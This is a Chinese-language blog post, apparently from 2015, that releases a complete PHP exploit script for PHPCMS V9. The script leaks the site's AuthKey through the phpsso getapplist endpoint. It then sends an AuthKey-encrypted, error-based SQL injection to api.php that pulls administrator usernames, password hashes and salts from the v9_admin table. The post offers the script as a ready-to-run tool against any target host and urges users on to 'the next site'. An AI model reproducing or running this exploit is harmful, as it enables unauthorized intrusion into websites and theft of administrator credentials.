天小站發佈了PHPCMSV9 AuthKey泄露導致SQL注入的文章,熟悉本站的兄弟們都知道,今天可能就會發布EXP了,恭喜你,又猜對了。
好久沒有寫PHP版的EXP了,這次再寫就已經基本忘光了,唉,花了好久的時間呀,最終還是完成了。
其實使用昨天的那個中轉腳本已經完全夠用了,今天發佈的這個是給懶人用的,先給個圖吧。。。
<?php /** * Created by 獨自等待 * Date: 2015/7/17 * Time: 21:23 * Name: phpcmsv9_authkey_exp.php * 獨自等待博客:http://www.waitalone.cn/ */ print_r(' +------------------------------------------------------+ PHPCMS_V9 AuthKey泄露導致注入EXP Site:http://www.waitalone.cn/ Exploit BY: 獨自等待 Time:2015-07-17 +------------------------------------------------------+ '); if ($argc < 3) { print_r(' +------------------------------------------------------+ Useage: php ' . $argv[0] . ' host path Host: target server (ip/hostname) Path: path of phpcms Example: php ' . $argv[0] . ' localhost /phpcms +------------------------------------------------------+ '); exit; } error_reporting(0); //統計時間 $start_time = func_time(); $host = $argv[1]; $path = $argv[2]; //請先添加cookie $cookie = 'PXVhx_auth=6ef8UVUAU1EIAgNSBFEFAVMNUFBbVFRXBFZUVApWUlRTdyQkIGY1KHFwXy9xYg9jM3RCGWA6MkEtMXM6czE1Un90CTczfzIwemRyFXx2In8GYHMKcDc1YDAwcyFgPDV4dHQJNzdmIjdtc2UwZWI1cCY; PXVhx__userid=9496CFEJAQZWBwEIAQABUAIHBlIHWwRVWwZXUw4A; PXVhx__username=b2baUlIBA1MHVFMBBgNcDQRbBFQEDQBeWFFSDFNFUlZU; PXVhx__groupid=fd32CQMGCFNTBAQIBgZaAlUDU1JRB1AGBgBRVAZQ; PXVhx__nickname=fd32CQMGCFNTBAQIBlJaCVIGUwIBClVRBVYGVwIRU1dW; PHPSESSID=u6nr1b81mgrk58boiqe49a6984'; $domain = "http://$host/$path"; //全局控制http發包參數 $opts = array( 'http' => array( 'method' => "GET", 'timeout' => 30, 'header' => "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0\r\n" . "Cookie: $cookie\r\n" ) ); //核心代碼,注入獲取管理員賬號及密碼 $sql_admin = sql_inject(); $count = count($sql_admin); if ($count != 0) { echo '恭喜大爺,成功獲取到[ ' . $count . ' ]個管理員賬號!' . "\n\n"; foreach ($sql_admin as $num => $admin) { echo '管理員' . ($num + 1) . '=>' . $admin . PHP_EOL; } } else { exit('杯具了大爺,此站漏洞已經修補,請秒下一個!'); } //獲取authkey函數 function authkey() { global $opts; $authkey = ''; global $domain, $cookie; $crack_url = $domain . '/phpsso_server/index.php?m=phpsso&c=index&a=getapplist&auth_data=v=1&appid=1&data=662dCAZSAwgFUlUJBAxbVQJXVghTWVQHVFMEV1MRX11cBFMKBFMGHkUROlhBTVFuW1FJBAUVBwIXRlgeERUHQVlIUVJAA0lRXABSQEwNXAhZVl5V'; $context = stream_context_create($opts); $crack_key = file_get_contents($crack_url, false, $context); if (preg_match('/s:32:"(.*?)";/', $crack_key, $match)) { echo '成功獲取到AuthKey_1:' . $match[1] . "\n\n"; $authkey = $match[1]; } else { $avatar_url = $domain . '/index.php?m=member&c=index&a=account_manage_avatar&t=1'; $upurl = file_get_contents($avatar_url, false, $context); if (preg_match('/\'upurl\':"(.+?)&callback=return_avatar/', $upurl, $match)) { $key_url = base64_decode($match[1]); $key_url = str_replace('uploadavatar', 'getapplist', $key_url); $auth_url = file_get_contents($key_url, false, $context); if (preg_match('/"authkey";s:32:"(.*?)"/', $auth_url, $au_match)) { echo '成功獲取到AuthKey_2:' . $au_match[1] . "\n\n"; $authkey = $au_match[1]; } } } return $authkey; } //SQL注入函數 function sql_inject() { global $domain, $opts; $limit = 10; //默認顯示多少個管理員賬號 $admin = array(); $key = authkey(); $context = stream_context_create($opts); for ($i = 0; $i <= $limit; $i++) { $code = sys_auth("action=synlogin&uid=1' and(select 1 from(select count(*),concat((select (select ( SELECT distinct concat(0x7e,username,0x3a,password,0x3a,encrypt,0x7e)FROM v9_admin limit $i,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#", 'ENCODE', $key); $target = $domain . '/api.php?op=phpsso&code=' . $code; $content = file_get_contents($target, false, $context); if (preg_match('/~(.+?)~1/', $content, $match)) { $admin[] = $match[1]; } else { break; } } return $admin; } //phpcms authkey加密函數 function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) { $key_length = 4; $key = md5($key); $fixedkey = hash('md5', $key); $egiskeys = md5(substr($fixedkey, 16, 16)); $runtokey = $key_length ? ($operation == 'ENCODE' ? substr(hash('md5', microtime(true)), -$key_length) : substr($string, 0, $key_length)) : ''; $keys = hash('md5', substr($runtokey, 0, 16) . substr($fixedkey, 0, 16) . substr($runtokey, 16) . substr($fixedkey, 16)); $string = $operation == 'ENCODE' ? sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $egiskeys), 0, 16) . $string : base64_decode(substr($string, $key_length)); $i = 0; $result = ''; $string_length = strlen($string); for ($i = 0; $i < $string_length; $i++) { $result .= chr(ord($string{$i}) ^ ord($keys{$i % 32})); } if ($operation == 'ENCODE') { return $runtokey . str_replace('=', '', base64_encode($result)); } else { if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $egiskeys), 0, 16)) { return substr($result, 26); } else { return ''; } } } //時間統計函數 function func_time() { list($microsec, $sec) = explode(' ', microtime()); return $microsec + $sec; } echo "\n腳本執行時間:" . round((func_time() - $start_time), 4) . '秒';